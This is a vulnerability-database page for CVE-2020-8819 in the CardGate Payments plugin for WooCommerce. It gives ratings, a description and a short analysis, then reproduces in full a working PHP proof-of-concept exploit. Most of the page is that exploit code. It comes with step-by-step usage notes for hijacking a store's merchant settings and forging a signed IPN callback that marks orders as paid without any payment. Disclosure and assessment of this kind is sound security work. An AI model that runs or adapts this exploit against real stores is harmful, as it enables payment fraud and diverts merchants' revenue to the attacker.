Attacker Value
Low
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Network
0

CVE-2020-8819

Disclosure Date: February 25, 2020
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

An issue was discovered in the CardGate Payments plugin through 3.1.15 for WooCommerce. Lack of origin authentication in the IPN callback processing function in cardgate/cardgate.php allows an attacker to remotely replace critical plugin settings (merchant ID, secret key, etc.) and therefore bypass the payment process (e.g., spoof an order status by manually sending an IPN callback request with a valid signature but without real payment) and/or receive all of the subsequent payments.

Add Assessment

1
Ratings
  • Attacker Value
    Low
  • Exploitability
    Medium
Technical Analysis

This is for a specific plugin for WooCommerce, not WooCommerce itself. This plugin has a relatively small number of installs so it is not likely to see large scale use.

There is a public POC attached to the GitHub repo and duplicated at the end of this analysis for convenience. Authenticated access is not required. https://github.com/cardgate/woocommerce/issues/18

/*
  Usage:

  1. Change values of the constants (see below for TARGET & ORDER*)
  2. Host this script somewhere (must be public accessible)
  3. Register a merchant at https://cardgate.com
  4. Sign into "My CardGate" dashboard
  5. Add fake site or choose existing one
  6. Click "Setup your Webshop" button in site preferences
  7. Paste the URL of this script into the pop-up window and click "Save"
  8. The target store now uses the settings of your site, enjoy :]

  P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop.
*/

// -------- Options (start) --------
define('TARGET', 'http://domain.tld'); // without trailing slash, pls
define('ORDER', 0); // provide non-zero value to automagically spoof order status
// --------- Options (end) ---------

define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/');
define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/');

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sToken_ 
 * @param bool $bTestmode_ 
 * @return string
 */
function pullConfig($sToken_, $bTestmode_ = FALSE) {
	if (!is_string($sToken_)) {
		throw new Exception('invalid token for settings pull: ' . $sToken_);
	}

	$sResource = "pullconfig/{$sToken_}/";
	$sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource;

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_URL, $sUrl);
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_HTTPHEADER, [
		'Content-Type: application/json',
		'Accept: application/json'
	]);
	if ($bTestmode_) {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);
	} else {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2);
	}

	if (FALSE == ($sResults = curl_exec($rCh))) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}
	if (NULL === ($aResults = json_decode($sResults, TRUE))) {
		throw new Exception('remote gave invalid JSON: ' . $sResults);
	}
	if (isset($aResults['error'])) {
		throw new Exception($aResults['error']['message']);
	}

	return $aResults;
}

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sUrl 
 * @param array $aData_ 
 * @param string $sHttpMethod_ 
 * @return string
 */
function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') {
	if (!in_array($sHttpMethod_, ['GET', 'POST'])) {
		throw new Exception('invalid http method: ' . $sHttpMethod_);
	}

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);

	if ('POST' == $sHttpMethod_) {
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
		curl_setopt($rCh, CURLOPT_POST, TRUE);
		curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_));
	} else {
		$sUrl = $sUrl
			. (FALSE === strchr($sUrl, '?') ? '?' : '&')
			. http_build_query($aData_)
		;
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
	}

	$response = curl_exec($rCh);
	if (FALSE == $response) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}

	return $response;
}

if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) {
	try {
		$aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']);
		$aConfigData = $aResult['pullconfig']['content'];
		$response = doRequest(TARGET, $_REQUEST);
		if ($response == $aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200') {
			if (ORDER) {
				$payload = [
					'testmode' => $_REQUEST['testmode'],
					'reference' => random_int(10000000000, 99999999999) . ORDER,
					'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)),
					'currency' => '',
					'amount' => 0,
					'status' => 'success',
					'code' => 200
				];
				$payload['hash'] = md5(
					(!empty($payload['testmode']) ? 'TEST' : '')
					. $payload['transaction']
					. $payload['currency']
					. $payload['amount']
					. $payload['reference']
					. $payload['code']
					. $aConfigData['site_key']
				);
				$response = doRequest(TARGET . '/?cgp_notify=true', $payload);
				if ($response == $payload['transaction'] . '.' . $payload['code']) {
					die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
				} else {
					throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)");	
				}
			} else {
				die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
			}
		} else {
			throw new Exception("It seems target is not vulnerable ($response)");
		}
	} catch (\Exception $oException_) {
		die(htmlspecialchars($oException_->getMessage()));
	}
}

General Information

Technical Analysis